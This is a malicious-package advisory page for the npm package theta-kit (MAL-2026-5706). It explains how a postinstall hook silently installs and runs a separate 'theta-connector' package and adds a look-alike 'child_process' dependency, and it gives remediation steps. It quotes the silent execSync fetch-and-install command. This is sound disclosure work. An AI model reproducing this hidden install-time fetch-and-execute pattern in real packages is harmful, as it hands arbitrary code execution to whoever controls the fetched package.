theta-kit
This report shows the evidence for theta-kit@1.0.3. 4 of 4 known versions are blocked or flagged. See all versions.
OpenSSF/OSV Malicious Advisory
imported 4mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-5706 confirms this npm version as malicious.
Advisory
MAL-2026-5706
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in theta-kit (npm)
Details
package.json declares `postinstall: node dist/index.js`, and dist/index.js executes `Model.resetor()` at module top level — meaning both `npm install theta-kit` and `require('theta-kit')` hand control to a separate package, 'theta-connector'. resetor() instantiates `new ThetaConnector({})` and calls `db.queryDBConnect()`. If 'theta-connector' is not present, the catch branch silently runs `execSync('npm install theta-connector --no-warnings --no-save --no-progress --loglevel silent')` and then `require`s and executes it. The package that ultimately runs is not shipped in this tarball, so its bytes can change at any time without any update to theta-kit. Output is suppressed and errors are swallowed, hiding the fetch-and-execute from the installer. The package also declares a runtime dependency on `child_process@^1.0.2`, an unrelated registry placeholder sharing a name with Node's built-in module — a confusion pattern that adds a second installer-controlled execution surface. The install-time fetch-and-execute pattern, combined with the silent-self-install fallback and the unrelated 'child_process' registry dep, is unrelated to the package's advertised mobx in-memory DB purpose and gives the maintainer of 'theta-connector' arbitrary code execution on every install or require of theta-kit.
## Source: ghsa-malware (da0964ff798940752e30878dc90ffb51aca217020a2da059bc8834f95963cbac) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Source & flagged code
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Findings
1 High
HighOsv Malicious Advisory
Affected versions and remediation
This report applies to theta-kit@1.0.3.
The same advisory and Firewall decision cover 4 recorded versions
1.0.0, 1.0.1, 1.0.2, 1.0.3
The versions list below shows the verdict for each recorded version.
- Avoid installing theta-kit@1.0.3. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
This report uses published external intelligence. The advisory does not provide a separate source-code analysis for each listed version.
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